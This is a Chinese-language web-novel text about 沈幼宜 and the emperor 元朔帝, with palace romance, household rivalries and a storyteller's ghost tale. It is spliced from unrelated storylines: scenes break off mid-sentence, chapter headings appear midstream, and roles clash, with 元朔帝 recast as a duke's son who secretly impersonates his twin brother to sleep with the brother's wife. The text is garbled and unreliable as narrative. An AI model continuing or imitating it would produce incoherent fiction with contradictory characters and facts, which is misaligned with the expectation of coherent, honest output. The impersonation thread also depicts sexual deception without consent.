瑞王非嫡非长,文韬武略虽说比之其他皇子出彩一分,但完全不堪与太子相较,算是绝了首辅半数念想。 瑞王席上多为勋贵子弟,或是与陈府交好的文臣后辈。 沈幼宜多与后者坐于一处,旁观在外趾高气昂的纨绔子,在瑞王面前是如何恭顺奉承。 天生贵胄,瑞王是真正的骄于众人。 沈幼宜无暇也无心理会旁人对这位王爷的看法。平心而论,她并不讨厌这位天之骄子,只因他待自己尚可。 或许是因为她与陈府结亲的缘故,瑞王一直将她视作自己人。 “好了,”瑞王笑意盈盈,“别总是为难长瑾。” 宾客们自然应和上王爷的话,各自散开,气氛愈加热闹。 谁都知道沈长瑾在这等席上,出了名的不近女色。偏生他只要轻轻巧巧坐在那里,就能勾得女郎无数芳心。年轻的世家子弟们好玩,几杯酒下肚,难免起哄,要舞姬为他侍酒。 沈幼宜对瑞王遥遥一敬,瑞王极给她面子,满饮了杯中酒。 他把玩空酒盏,着实喜欢长瑾在席间,看着当真是赏心悦目。 换上一支新曲,舞姬们水红色的裙裾随着乐声旋转飞扬,舞步华美却丝毫不显凌乱,似开了一朵又一朵的娇花。 天家享乐,沈幼宜一想到如此繁复的舞蹈排演便觉头疼。 二人选了二层的雅座,点上一壶清茶。瑶华院在沈府后宅东侧,两进的小院自成一方天地。 宁远伯府百年勋贵家族,虽则几代子弟不成器,远不复当年盛时,但仰赖祖宗庇荫,根基尚稳。 府中一路行来,亭台阁楼,回廊轩榭错落点缀,富贵非常。翌日天未明,王嬷嬷便候在了瑶华院中,美其名曰担忧三姑娘不熟悉府中路途,特意来带三姑娘往夫人院中请安。 沈幼宜由向萍挽发,这时辰还不算早。从前在户部当值,日日应卯的时辰还要早上许多。 昨日秦夫人看似退了一步,今日倒是要拿她的错处。 梳妆得当,沈幼宜道:“走罢。” 向萍精神抖擞,推开了房门。 春晖院内在预备早膳,除了沈幼宜,其余几位姑娘还未至。沈幼宜今日的午憩,未时便被向菱唤醒。 只因帝王昨夜留了话,明日申时要她往御书房暖阁。 沈幼宜坐到梳妆台前,以色侍人,总要有此自觉。 “姑娘喜欢什么发式?”向萍执了象牙梳,笑问道。 沈幼宜望镜中的自己:“随云髻罢,寻常些即可。” “是。” 向萍梳发很有巧思,简单的随云髻经她之手,格外灵动雅致。 换了一身藕荷色绣芙蓉花的缎裙,沈幼宜初次踏出了殿门。 一顶暖轿停在宫门外,沈幼宜回望其上“临华”二字,方入了轿辇。 她手中捧一只泥金暖炉,偶尔掀起侧帘,望一望这座巍峨宫城。 “姑娘请。” 同样是宫廷总管秦让,此番亲自为她打开了御书房门。 几缕寒风随沈幼宜的脚步带入,奏疏已批阅毕,帝王坐于明窗下,显然是在等她。 “陛下万福。”沈幼宜欠身一礼。 帝王淡淡应一声,由她坐到自己对侧。 “宁远伯府沈家,你可知晓?” 沈幼宜点头,宁远伯府爵位从开国时便传了下来。初为宁远侯,三代后降爵一等,承袭至今,是京都很有名望的家族。 说起来她冒领的户籍,还与沈家沾亲带故,算是伯府的远房亲戚。她参加乡试时,多少借用了点伯爵府名声。 “宁远伯有一女,因生来体弱,故而遵从相师之语,自小送去外间抚养。” 没头没尾的一段故事,沈幼宜须臾间会意。 算不上高兴,只是觉得自己的运气比想象中还要好些。 宫人送来几幅画像,元朔帝道:“沈府主支,得空时认一认人。” “多谢陛下。” 秦氏半夜都未睡好,不紧不慢在内室里梳妆。 “还请三姑娘稍候。” 王嬷嬷开口,沈幼宜应好,自在地寻了个位置坐下。 屋子里点着炭火,可比在太极殿外等朝会开始舒坦许多。 待到秦氏到了厅中,沈幼宜的问安真心实意。但落在这位夫人眼中,更似在挑衅。 不咸不淡说了几轮话,秦氏半天也没套问出沈幼宜的底细。 十九岁的姑娘,说话滴水不漏。 秦氏心中渐恼,下人来禀道:“夫人,大姑娘到了。” 宁远伯府的大姑娘沈姝已经定下婚事,许的是礼部尚书的儿子,因国丧的缘故还未完婚。 二姑娘沈娴虽是庶出,但自幼养在秦氏膝下,温柔沉静。 除了沈娴,宁远伯府其他的庶女秦氏都未亲自教养,只让嬷嬷和各自的姨娘带着,大多住在西院,平日除过请安也少见。 四姑娘沈姗到得最晚,王嬷嬷笑呵呵打起了帘子。 才入门,沈姗一眼就看见了坐在大姐身旁的女郎。 一袭天青色百褶如意月裙,用的仿佛是贡内的云珠锦。发髻上簪一支并蒂芙蓉花玉步摇,玉质细腻无瑕,雕饰巧夺天工。 这样的好东西,也只有母亲压箱底的嫁妆能比一比,父亲实在偏心。 沈姗心里有气,坐到二姐身侧时,后者稍稍退让了些。 沈姗一连串问道:“三姐姐在外头,可曾读过书?不知夫子是何人?” 京都兴两所女学,贵族女郎、官宦千金多有入学者,且以此为傲。 “自然读过,原本还想去参加科举,可惜女子不能入仕。” 她大言不惭,沈姗一时语塞。 一顿早膳,话里话外并不太平。 沈幼宜坐得稳当,安心喝着碗中豆浆。甚至因觉得不够甜,还让侍女多加了些糖。 “三姑娘,这便是瑶华院了。”王嬷嬷乃秦氏陪嫁,在府中资历颇深,一向得脸。 她有心替夫人敲打这位从外头回来的三小姐,伯府门第非外头小门小户可比,不是什么人都能攀上的。 王嬷嬷当先一只脚踏入院中,还没来得及介绍院中各色花卉,沈幼宜道:“母亲既然身子不适,嬷嬷还是早些回去照料,不必留在此处。” 她下了逐客令,王嬷嬷不可置信回头,完全未料到初出茅庐的三小姐敢如此不给她脸面。 姑娘发话,向萍立刻接上:“嬷嬷请吧,今日多谢了。” 三姑娘已去往主屋中,王嬷嬷一拂衣袖,行了半礼告退。 瑶华院中配了八名侍女小厮侍奉,沈幼宜一一认过人,向菱按姑娘的意思取来银钱打赏。 行囊中一切备得齐全,向菱指挥着小厮们搬来姑娘的箱箧,在屋中改换上姑娘惯用的物件。 瑶华院中布置得也精心,书案上的文房四宝,多宝阁上的摆件多是出自名家,只不过与宫中还是不可同日而语。 向萍看不惯斜眼瞧人的王嬷嬷,姑娘命自己打发了她正好。 沈幼宜坐于窗下,她初至沈府,其实不太熟悉大家族后宅生存之道。 既如此,不如先从了自己本心,省得受暗气。 顺便看看,自己的靠山够不够稳固。 却说王嬷嬷回到秦氏院中,如实回禀一番,免不了添上几句。 这些年秦氏的日子过得舒畅,婆母早逝,二房三房分了家,内宅上下由她一人当家。 谁成想半道添了个女儿,还要记在她的名下。素来不理家中俗务的丈夫,再三叮嘱务必要上心,对她比嫡亲的姑娘们还要疼爱。 秦氏这口气不上不下,问了许久也没问出什么端倪。 王嬷嬷替自家夫人委屈,天长日久的,还是早早将三姑娘配了姻缘了事。 虽说老爷偏心,但后宅事是由夫人做主。 “去告诉她,一路舟车劳顿,今日晚间不必过来请安了。” “是,夫人。” 一楼大堂内有位说书先生在讲戏,看客们听得津津有味。沈幼宜到得不凑巧,只赶上了后半折。好在凝神听下来,坊间小说多有相通之处,凭前半折的戏能猜出个大概。 一折讲罢,说书人一摇折扇,围着的听书客们纷纷叫好。 趁着人尚未散去,说书人便取出一只收钱用的小笸箩。他的书讲得绘声绘色,愿意打赏的听客也多,小笸箩中很快聚起一层铜板。 说书人饮了些茶水,稍作歇息。 茶客们有离去的,也有接着坐下预备听下一场的。 沈幼宜用签子挑了枚果脯,见帝王身边的总管秦让带了一人上得二楼来,呈给她一本小册。 “夫人请。” 此人是茶楼的管事,客人们若有什么额外想听的,包了银钱尽可以点。 沈幼宜饶有兴致地翻看着,很快选出了一折。 不多时说书人准备开锣,大堂中还特意拉起了布帘,点上三两支烛火。 “这折戏我以前读过。” 他以为宜娘是足够冷血而聪慧的人,生来便是如此,也不强求她改变什么,有足够的自信放手,教她见一回死而复生的陵阳侯。 既然将血缘看得这样重,即便不能被他捂热,也该剖析利害,能亲手斩断这条阴差阳错的红线,从此放下这段往事。 可没想到,她除了在床笫之外,也有情难自已的时候,只是不是对着她如今的丈夫。 他同太子互相嫉恨,却没想到在宜娘心里,只要那个人活过来,无论是谁都要倒退一射之地,倒显得他们父子二人都是强用权柄,拆散恩爱夫妻的恶人。 赵王咽了咽不存在的唾液,他听得明白皇兄的意思,一颗心落肚,理智也就回了笼,隐约觉出些不对来。 其实贵妃也没亲口许诺出什么,不过是旧情难忘,便多为对方想了许多,就有些像是他应对各国使节要求时候的苦恼,不能自己拿定主意,却也不能露出推脱的意思。 然而不待他说什么,元朔帝开口,淡淡吩咐道:“等使团的马车出了京,就教人处置了罢,不必教贵妃知道。” 宜娘不会知道这些事情,除非那一日她痴心妄想,昏了头去,也坐在正使的车上。 第 78 章 第 78 章 沈幼宜虽很想问一问他这些年的经历,可也知道这处不是久留之地,镇定了一会儿,待仔细擦拭了面颊,才匆匆与萧彻分别,近乎慌不择路。 知道他过得安好就也够了,她今日来得匆忙,又不曾想过这么多年过去,萧彻竟然仍有同她破镜重圆的想法,一时不知道怎么才能不伤他的心,虽听他说了些原本的计划,可是到了最后也不忍心开口打断。 这是撑着他这些年挣扎过来的一口气,哪怕只是永远不会成真的梦,她也耐着性子,陪他做完。 几句不祥的乌鸦声响,它们栖息于凶宅院中几株槐树上。 说书人学得惟妙惟肖,此情此景愈发给案子笼罩上一层恐怖疑云。 沈幼宜指尖抖了抖,身形往郎君处靠了又靠。 元朔帝轻笑,伸出截衣袖给她抓着。内室中仍留一盏小灯。 见身畔人已经安置好,元朔帝放归手中话本,熄去了榻边烛火。 寝帐内,二人靠得不远不近。 月华如练,在殿中映出一道雕花窗影。阳光洒落书格间,藏书室中一派静谧。 女郎全神贯注于手中书册,帝王未着人通传。 翻过两页,余光瞥见一角白色锦袍,沈幼宜心中一惊,手中书册险些掉落。 “哎。” 好在她眼疾手快接住,松了口气:“陛下来时怎么没声音。” 见帝王目光稍落在这册书上,沈幼宜乖乖将书交到他手中。 元朔帝略略一翻,也是一本志怪书籍。在天源阁中存了应该有些年头,书页泛黄。 “不是害怕么,还敢独自看?” 沈幼宜不好意思地笑了笑,也是想让他陪着,让出了一半位置,仰眸看他。 简简单单的动作,叫人没有办法拒绝。 这一册书皆是由短篇故事编纂而成,沈幼宜往回翻两页,方便人可以从头看起。 她等着他赶上进度,思绪渐渐从书中抽离时,才后知后觉身畔有些低气压。 靠得近,沈幼宜侧首就望见郎君清隽如画的眉眼,无一处不矜贵。 他方与谢明霁议完政事,沈幼宜自然而然以为是朝堂有什么烦忧之处。 她想起从前姑姑的教导,要擅于揣摩郎君的心意,要做个知情识趣的美人,才能长长久久抓住对方。 姑姑们悉心的指点沈幼宜已然忘却,唯一清晰记得的只有自己当时的心不在焉。 书到用时方恨少,沈幼宜今日算是切切实实体会了一把。 她俏皮一笑,眼波流转间顾盼生辉。 虽未施脂粉,但女郎白皙如玉的面颊透出些许粉晕,叫人情不自禁想要靠近。 四目相望,小小一间藏书室中呼吸可闻,彼此气息都乱了几分。 “陛下真是——” 女郎低低一笑,慢吞吞抬首,在郎君侧颜轻印下一吻。 微风轻荡,一池春水明明白白搅乱了。 帝王很快适应了帐内昏暗的光线,睡意却是无影无踪。 “陛下,”榻间的女郎轻声开口,“这世间……会有鬼怪么?” 孩子气的问话,帝王侧首看去,撞入一双澄澈漂亮的眼眸。 他思忖该如何答话,女郎却自己给了自己答案:“算了,子不语怪力乱神。” 她没头没脑跟上一句:“今夜也是满月呢。” 轩窗外,一轮明月嵌于天幕,笼下柔和清辉。 树影婆娑,变换出各种姿态。 女郎有一句没一句的呢喃,叫人心底不知不觉都化了几分。 “还在想白日的故事?” 沈幼宜诚实点头,她闭上眼睛总是忆起其中场景,那古槐树中的森森白骨,那燃尽的蜡烛,还有县令幼子入住鬼宅时的猎猎风声。 “只是杜撰的民间传说罢了,破绽亦多。”帝王开解道,“譬如那两具尸体在槐树中,天长日久,外人怎可能闻不见气息。” 他再度提起树中情形,似是帮着沈幼宜回忆。 女郎瞪他:“甫一出事,其他人不都迁出了凶宅么?”御书房前的宫道上,宸妃娘娘的翟舆遥遥行来,户部的刘尚书携臣属退至一旁,后拱手一礼。 双方目光未曾交集,沈幼宜想几月未见,尚书大人还总是挂着脸的模样。 他身侧那名着青色官袍的郎君是个生面孔,许是近两月才入户部当值,沈幼宜并不识得。 瞧他手中抱着厚厚几卷公文,想到户部开春要汇编的如山的账目,沈幼宜无可避免地感到一阵紧张。 她笑着摇了摇头,鬓边步摇微微颤动,华光流转。 待翟舆远去,刘尚书方抬步出宫。他目不斜视,随在他身后的那名主簿倒忍不住回望了仪仗一眼。 不消提,当今陛下后宫中唯有一位妃嫔。金尊玉贵的宸妃娘娘,果真是气派十足。 翟舆在御书房外落下,秦让无需通传,客客气气请了宸妃娘娘入内。 “陛下万福。” 瞧人眸中带笑的模样,元朔帝搁了御笔,再习以为常不过:“说吧,有何事?” 原本还想多绕些弯子,沈幼宜对上帝王视线:“不知……陛下何时出宫?” 沈幼宜记得,昔年太子在东宫时,便时而去往坊间,查估粮价,体察民情。 做了帝王,应当也不至于闭目塞听。 “在宫中待闷了?”元朔帝猜出眼前人心思,却还是接了话。 “这倒是不曾。只是臣妾带入宫中的话本读完了。” 那话本还未结束,算算日子,书铺中应当已经有了新的两册。若有机会,沈幼宜还想再淘换些新书。 “午后罢。” 今日政事尚算清闲,元朔帝重新执笔。 沈幼宜神色一亮,帝王未开口,她便自觉留于殿中等候。 见无需她研墨,沈幼宜熟门熟路寻了个位置坐下,接过帝王给她打发时间的一本闲书。 “从前也不见你爱看这些坊间话本。” “有么?” 沈幼宜笑了笑,先前是忙于户部事务,引人入胜的话本大多厚厚几册,一旦捧起就难以放下。偶有闲暇,她还要忙于操持自己铺中的生意,抽空查账。毕竟是生钱的买卖,总得抓在自己手上。 她也是近段时日才领会到坊间小说的妙处。连年丰收,公私仓廪俱殷实,活字印出的话本都畅销许多。 时至二月,春回大地。 宁远伯府广散请帖,将于府上设春日小宴。 道是赏春花、饮春茶、赋春诗,但接了帖子的宾客们心知肚明。宁远伯府出了新朝第一位皇妃,以此庆贺夸耀。 自然,京都的勋贵家族们也乐得给宁远伯府这份面子。正一品宸妃,沈家的确有标榜的资本。 松雅院内,秦氏来回召着各路管事,忙于打点宴饮事宜。与此同时,府上又大开库房,要置办三姑娘入宫的妆奁,一丝一缕马虎不得。虽则忙碌,但秦氏神清气爽,并不觉疲累。 大姑娘沈姝已能担事,在旁协助母亲操持,算是历练一二。 王嬷嬷送了珍宝库二度拟来的单子,请夫人过目。 沈姝跟着一同看着,也是才知晓沈府家底这般丰厚。那单子上当先几样,件件都是平日碰不着的宝贝,父母亲对三妹是当真舍得。 沈姝敛眉,她已定下婚约,只是因国丧尚未商讨成婚之期。但自三妹封妃的圣旨传到伯府,府上其余事宜都一并搁置,内宅上下更是全心全意以三妹为先。 作为家中的嫡长女,沈姝少有受此冷落之时。三妹回府后得尽父亲偏爱,如今又是诸姊妹中姻缘最盛者,风光无限。 “姝儿觉得如何?” 沈姝顺着母亲的指引,略略说了些自己的见解,帮着核对有无疏漏之处。 三妹入宫乃阖府要事,若有闪失,丢的是宁远伯府的门面。虽则心中有些酸涩,但她得分清轻重缓急。三妹得封宸妃,于家族大有助益。旁的不提,有一位皇妃妹妹撑腰,她未来在夫家更有底气,逢年节也能与宫中走得更近些。沈家在朝廷地位一代不如一代,家中人更是要拧成一股绳才是。 大姑娘明事理,端慧大气,秦氏很是欣慰。 至于三姑娘,她与宁远伯有更多考量。毕竟是半路接回家的女儿,感情不深。这出嫁的妆奁得备得格外体面,叫她多念着些伯府的好。 “珊儿呢?”秦氏大半日不见幼女,便问了一句。 沈姝接话道:“四妹在瑶华院呢,说是要讨教课业。” “好,好啊。”秦氏笑着点头,小女儿也开了窍,知道要与三姑娘好生相处了。 她交代王嬷嬷道:“过会儿你送些点心去瑶华院,记得多备两个姑娘爱吃的几样。” “夫人放心,老奴有数。” “长子失踪一案尚可以如此解释。但老县令失踪后,多少人到宅中来寻,不可能毫无察觉。” 托元朔帝的福,故事在脑中愈发清晰。沈幼宜何尝不知道这段传闻是无稽之谈,但偏偏越是夜深人静,越易胡思乱想。 樱唇翘起,福至心灵一般,帝王忽然开了窍,柔声哄道:“好了,不去想了,莫怕。” 沈幼宜已然困倦,只撑着一线不敢睡罢了。 郎君安抚的话语叫人心定,女郎渐渐卸下了心防。 她呼吸变作平稳,不知何时安然沉入了梦乡。 借着月光,女郎睡着的模样很是乖巧,安分在自己的位置上。 她侧向外间,半边脸贴于软枕上,长睫在恬静的面庞投下两道阴影。 她兀自睡得香甜,似有若无的女子馨香萦绕在枕畔,帝王却是彻底没了困意。 滴漏声声,夜过子时。 元朔帝掀开一角锦被,独坐于榻旁。 今夜根本无法安睡。 讲到小儿子破案关键处,说书人再度停顿,开始拿着一盏烛火,四下用小笸箩收钱。 沈幼宜松一口气,帝王低声道:“尸身在古槐树中?” 他们二人不知不觉已离得极近,清冷的声音贴入沈幼宜耳畔。 沈幼宜仍攥着他的衣袖,同样压低声音:“十五年前那位老大人判一桩棘手的案子,于月圆之夜在院中踱步,细思案情。他见院中古槐树上有微光,以为是被告白日行贿不成,又将银钱藏于此,才上去一探究竟。” 几株古槐树都有几百年树龄,三四人环抱粗细。其中一株由于年岁长,又遭虫蛀蚁咬,树干内部逐渐烂出了一个树洞。只是洞口被浓密枝叶遮挡,无人发现罢了。 “老大人攀上树,踏空一截枯木,不慎坠入树洞中。又因里间树杈恰好卡喉,宛如上吊一般,就这样失了性命。” 元朔帝自然地接过她的话:“十五年后,长子于中秋夜同样发现微光,上去查看时,却不慎落入同父亲一样的陷阱。” 沈幼宜点头,后面人们察觉真相,劈开槐树,只见两具森森白骨,其上饰物赫然属于父子二人。 而那点微光,是因乌鸦素日习性,爱叼些亮闪闪的物件回巢罢了。 一节故事终了,看客意犹未尽。茶楼中气氛已烘托到此,又有看客点了一出志怪戏。 说书人今日赚得盆满钵满,惊堂木使得愈发得心应手。 这篇新故事沈幼宜未曾读过,接二连三有人丧命,骇人听闻远胜上一折戏,却又叫人听得欲罢不能。 元朔帝瞧身畔的女郎,一壁害怕,一壁又专注听着,果脯已然许久未动。 他心下有些好笑,欲开口时,下一刻女郎柔软的手心却攀上了他的手。 元朔帝身形僵了僵,女郎掌心微凉,柔若无骨地贴着。 看台下说书人仍在有声有色说着,沈幼宜专心于此,并未分神。 帝王垂眸,慢慢回握过去,一时却再难以听进一字。 年轻,只是一个不太好,但是足可以慰籍他的借口。 她隐约觉出点不对,但他的嫉妒一贯强烈,轻轻叹了一口气,无奈道:“我又不是不甘寂寞的红杏,每对夫妻都是不同的,难道您当他们也是中原风俗?” 伏在她颈侧的男子低声应了,柔和中隐隐透着危险:“可朕年长你许多,总有一日会先你而去,宜娘届时再寻几个会讨人欢心的年轻面/首,朕也不管。” 第 79 章 第 79 章 “这话听起来倒不像是真心,我那时候也是年华老去,哪有这个心思。” 沈幼宜心下微动,抬臂环住他揶揄道:“万一把珩郎气活了可怎么好?” 元朔帝却不生气:“朕说得出口,就不会计较,那些年轻男子不过是供你玩弄消遣,宜娘玩一玩解闷,又不会动心。” 譬如她孕中这些讨她欢心的小物件,她也喜欢,却不会有多少感情,用腻了还有更多更新的玩意儿等着她过目。 玩具就是拿来用的东西,用钱用权都可以得到,多少玩具,弄坏了,他都可以补偿给她。 而不是教一个极牵动她情肠的男子住进太后的寝宫,与她双宿双飞。 他心爱盈盈,不代表兄长也会喜爱她这样的女子,他难堪,兄长难道是自愿如此的么? 而且他还怀了一层不能为人所知的隐秘心思。镇国公没换便装,仍是一身劲服。 崔氏叹息:“但别叫人知道这话是你说的。” 沈幼宜记得这事,镇国公认下自己这门亲事自然是因为世子和二郎坚持守约,但他与婆母对于陈家的态度却十分冷淡,母亲既同情陈伯父,又不想她在府里难做,轻声应下:“阿娘,我知道。” 元朔帝在外吃了一盏冷茶,才见仍对母亲有些不舍的沈幼宜出来,敛眉道:“我先送你回府。” 他来时乘马,归途就和沈幼宜一道乘车。 沈幼宜想起母亲的话,虽然这种想法很没道理,却也入心几分,偷偷觑他几回。 身板是没得说,宽肩窄腰,就是有一点不好,他一坐进来,原本宽敞的马车都显得逼仄了许多。 红麝寻了个借口往后面放箱笼的马车去,只留她和二郎并坐。沈夫人等候到半夜,才听下人说世子回府,急匆匆叫人到她这里。 元朔帝不知母亲如何一脸愁容地望着自己,将玄朗送糕饼与崔夫人的事情隐下,只将雍王与浙江的事情提了提。 “你逞这个威风做什么,既然他们说知道那人的下落,那就直接捆了送到京城来,能费你多少事情,非要杀人?” 沈夫人原本只是为他雄风不振的事情担忧,如今又添了一层忧虑:“谁不知道陛下最忌讳这事了,你这一件两件偏往逆鳞上去,也不怕被人参上一本?” “母亲或许不知海匪的奸诈,为求活命,一口气咬出许多人家,您与父亲也知皇爷忌讳,万一再起杀戮,京城十不存一,那就是儿子的罪过。” 元朔帝揉了揉眉心,若教母亲知道皇帝用弟妇的事情隐晦敲打,只会更多想:“皇爷只是有些不满,心里却是清楚的,否则也不会将唐神医的下落露给我知。” 当年金陵城破,搜出过被破坏过的天子尸身,然而皇帝始终不信,直到前些年山东叛乱,虽然多是农民揭竿而起,可里面也有不少那人旧部,其中就包括失踪已久的唐院使。 这些年朝廷一直在顺藤摸瓜,企图寻找到那人下落。 唐院使算得上是万里挑一的命好,当初皇帝还没就藩的时候,就伺候过难产的先皇后,早年从军,更为几个被火药炸伤的将领续骨接皮,锦衣卫与东厂发现他踪迹后跟了数月,才知他早就与那人走散,不过是倒霉,被叛军捉去充当军医。 放在从前,附逆就是格杀勿论,不过皇帝终究年纪大了,对有真才实学的医者多了些善心,顺便也叫镇国公府得个好处。 当然,若元朔帝能从他身上打探出点别的什么,那自然更好。 沈夫人又惊又喜,又免不了对现如今的太医院发些牢骚:“阿弥陀佛,那当真是皇恩浩荡了,唐院使我见过,那可是真有本事的,谁像现在那些人似的,仗着世袭罔替,和稀泥的本事一天比一天强,医术倒未必有民间的好,就知道堆些名贵药材温补,说不定二郎的病情还是他们误了的!” 元朔帝颔首:“唐神医年事已高,只求安稳度日,儿子虽探知了他的住处,却不好轻举妄动,不过是尽力一试,若二郎能恢复如初当然最好,若不能,也不过是天意如此,母亲不必过多失落。” 沈夫人难得听见个好消息,忙道自然,她见长子稍露倦色,也有几分心疼,将那句“要不然先请唐院使为你瞧瞧”咽回去,关切道:“家里多亏是有你在,省了阿娘多少担心,二郎的事情虽要紧,你也不能不爱惜自己的身子,我叫人给你炖了甜汤,温在灶上几个时辰了,你喝了再去睡。” 半夜进食不是养身的习惯,更何况他本身无病无患,只需多睡几个时辰就能养回来,但母亲一番好意,元朔帝也不疑有他,用了小半碗才回临渊堂去。 这个时辰弟妇应当已经歇下,他不必再扮作二郎的模样扰她。 皇帝体恤镇国公府后嗣凋零,赐了如此大的恩典给他,二郎一旦真能行走如初,甚至恢复生育的能力,他这个大伯当然也就不需要再扮演她丈夫,每月同她敦伦两次。 其实既然已经找到了唐神医的踪迹,在他未下论断前,这月的第二次应当也不必履行。 弟妇是爱慕二郎的,那些娇嗔妩媚并非是对着他元朔帝。 他同弟妇亲热越少,她日后与二郎的关系才会越好些,日子也更舒心。 这几日他做了些荒唐事,难免迷失本心,所幸还未到不可挽回的地步,及时回头,未必不是好事。 然而不知是忆起马车上的荒唐,还是渴而望鸩的艰难,即便他身体倦乏,可枕在榻上依旧不能成眠,腹下一阵阵生热。 阖目是女子风流婀娜的身段,她见不得他衣冠齐整,也有样学样,不顾还在车上,也伸手去解他的腰带。 可惜,那不能叫她瞧见。 元朔帝几度伸手欲往下去,却又觉此举令人不齿,念了几段经文清心。 侍从以为世子既然回临渊堂歇下,便不会用二公子的身份再去二少奶奶院里,然而屋内的灯才吹了不到半个时辰,房门倏然自内而开,世子已经穿戴齐整。 连那枚红痣都一并遮住了。 她与父亲分别多年,若早些知道沈大人能够返京,一定很是欢喜。 元朔帝感知到她过于频繁的窥视,猜测她或许有什么难以启齿的窘处,先一步开口问道:“盈盈,有事对我说?” 他想过,既然弟妇如此不舍,崔夫人又不愿意长期住在镇国公府的别院,他可以想些法子,让她在京城安居。 “没什么事,就是觉得郎君好看。” 沈幼宜拿手帕将眼睛遮挡起来,嗔道:“我不可以看吗?” 元朔帝无奈,道:“自然可以,但也可以更光明正大些。” 非礼勿视,说的是他,弟妇不知内情,当然可以瞧自己的丈夫。 然而他下意识抚过喉结确认无碍时,见弟妇的目光似乎也随之落在他咽喉处,便顺势支在一侧撑住,露出些许倦意。 他确实有些说不出的累。 溧阳县令代替雍王殿下送了一对铁如意与他,如意倒不算多贵重的东西,难得的是手捧如意的是两个李朝两班官员的女儿。 宗室勋贵以纳李朝女为风尚,李朝从母,两班贵族的嫡女看得比庶出更重,上贡的美人多为贵女,但到了宫里,她们所能依仗的只有自己的美貌,至于藩王要她们做妾还是送人都由不得自己。 镇国公与东宫一脉走得更近,雍王这是有意拉拢他。 他只收了如意,那县令面露难色,却也知轻易不能得罪裴氏,叫二女退下。 皇帝是个英主,开疆拓土,文治武功远超前朝,却好武残忍,对待身边的人态度随意,时而亲和怜爱,宠溺非常,就是谋反也能轻描淡写揭过,时而躁怒狂郁,动辄杀人。 锦衣卫与东厂的人不断增加,听闻又要另设他所安置探子。 天子一怒,当真伏尸百万,他虽得圣上宠爱,却又需谨小慎微,一旦镇国公府赌错,当年的旧事重演,今日的富贵就如过眼云烟,转瞬即逝。 不过这些事情毕竟没有发生,太子的位置虽不那么稳固,可太孙极受陛下宠爱,若整日为不可预见的未来终日惶恐,简直是徒惹烦忧。 身边窸窸窣窣,裙裳一角漫过他的臂,女子柔若无骨的手按在他肩上,还没按几下,就被他一掌包住,扣在两人之间,沈幼宜顺势挨他更近些。 “郎君头疼得厉害么,要不要我替你按按?” 元朔帝不答,只捏了捏她的掌心,绵软温热,叫人舍不得放手:“盈盈,父亲的事情我想……我请兄长想个法子,他这性子不好做言官,倘若能尽早赦还,在薛世伯手底下修修书也是好的。” 薛无忌奉命主持修撰典籍,搜罗天下经史抄录,所需文人众多,且只是抄书编撰,不会弄出什么大罪。 沈幼宜心头微有一丝异样,不免多瞥了丈夫一眼。 二郎对父亲一向是恭敬的,与其说是因为翁婿这层身份,倒不如说是仰慕强者。 无论读书还是为官,父亲被贬前的成就二郎恐怕很难达到。 但今日的二郎评判她的爹爹,语气还是温和的,却有些上位者俯视的意思。 沈幼宜僵了片刻,闷声道:“这太麻烦世子了,爹爹在那边闲居,虽说没有实权,也只是日子清苦些,身体还是硬朗的。” 元朔帝见她怅然不乐,以为是她羞于求人,解释道:“做子女的都不忍心见爷娘分隔两地,更何况岳母好强,若你父亲不来京师,就算咱们送一套宅院与她,母亲也是不肯住,必要回家乡去。” 他顿了顿:“事情不成也就罢了,事情若成,岳父大约也不会接受你送的宅子,不如请人出面,只说是府里只替他们找了落脚的地方,付过一年租金,母亲他们还是能接受这点孝顺的。” 沈幼宜讶然,他说得好像事情已经成了似的,但什么叫做她送的宅子,她哪里会有这许多钱钞? 然而她只思忖片刻,就知晓了他的意思。他依礼吃了茶,却不愿多待,将厚厚的红封递给新妇,就算尽到他应有的礼节了。 沈幼宜舌尖发麻,双颊绯红,好在涂了许多粉,应该看不出来,她随在新婚丈夫身后拜见父母,待镇国公走后,才和郎君一起陪婆母说话。 她看着早晨世子坐过的位置,他果然有事,不曾前来。 沈夫人望向长子,止不住担忧,她本来是想叫他知道些男女上的滋味,动一动娶妻生子的念头,可万一…… 她就这么一对双生子,该不会都是一样的忌医讳疾? 元朔帝在来的路上已平复许多,他见母亲频频看向自己,一副欲言又止的模样,颇感莫名。 虽说一家子以这样的身份相处是有些可笑,可他怎么觉得,母亲今晚的目光怪异得过分? 他迟疑开口:“阿娘还有什么事要吩咐二郎?” 当着沈幼宜的面,沈夫人不好说些什么,嘴唇微动了两下,扯出一抹笑来,勉强道:“无事。” 她唇边勾起一点笑,这位风华绝代的美人太过天真,难不成会以为,高高在上的天子会对她折身以求,要求低到她不同这个男子走,就会满意? “说来可笑,若是可以,我不愿任何一人为我伤心。” 沈幼宜叹了口气,同样是父夺子妾,柳氏年岁虽小,却比她看得更开,早早选择了赵王,令赵王世子为她打破父亲的头,但也不留恋那孩子:“可人只有一颗心,也只能不辜负一个人。” 她提笔的时候想了很多,她很少会为这样的自己而难堪。 可感情的事情没有任何道理可言,在这些爱过她的男子之中,她辜负最多的和最舍不得令对方伤心的,竟不是同一个人。 她只能很贪心的,希望能维持如今两厢和平的局面,也不敢在此刻赌上一把。 好在,除了久留京师学习的异国使者,大多数使团在长安不会停留超过三月,她不会为此纠结太久了。 第 80 章 第 80 章 这一封信件交付出去,沈幼宜便决心不再去问萧彻的事情,她身在内廷,每日有数不清的事务来烦人,更何况前朝对她背后的沈氏颇有微词,只是碍于贵妃受宠已极,呈上来的奏疏并不多,至多是有人抱怨沈玉璞仗着女儿得宠,行事强横,刚愎自用,以致激起民变。 但是元朔帝会将这些奏疏送给沈幼宜自己瞧,将沈玉璞的一些密折给她细看。 不同于以往官吏的驱逐遣返,她的阿耶在雍州试着接纳了许多流民,这些人依靠州官、实际上就是元朔帝私下拨的款项吃用,形同私兵,对于城中的大户自然没那么客气。 等令宗室苦不堪言的度田结束,这些流民或继续以工代赈,修筑城中工事,或者通过婚嫁留在本地人家,也有一些人应召入伍,运粮到松州前线。 雍州可供官府分配的公有土地远比其他州县要少得多,堪称窘迫,但是抄了几位崔氏近支的家后,暂时有些喘息余地,也震慑住了其他想要凭借皇族身份免税的王公。 而如今雍州的税收自成一体,人可以跑,土地是跑不了的,沈玉璞上奏称,授田实数被重新核定后,权贵与商户所要缴纳的税费预计可以翻出两番,不单单能弥补他上任后的亏空,输送向朝廷的银钱比往年多上许多。 原来他处处比不过的兄长,也并非无所不能烛影摇曳,阴翳投落在她夫君的面容上,神情晦明难辨。 “兄长他什么都不缺的。” 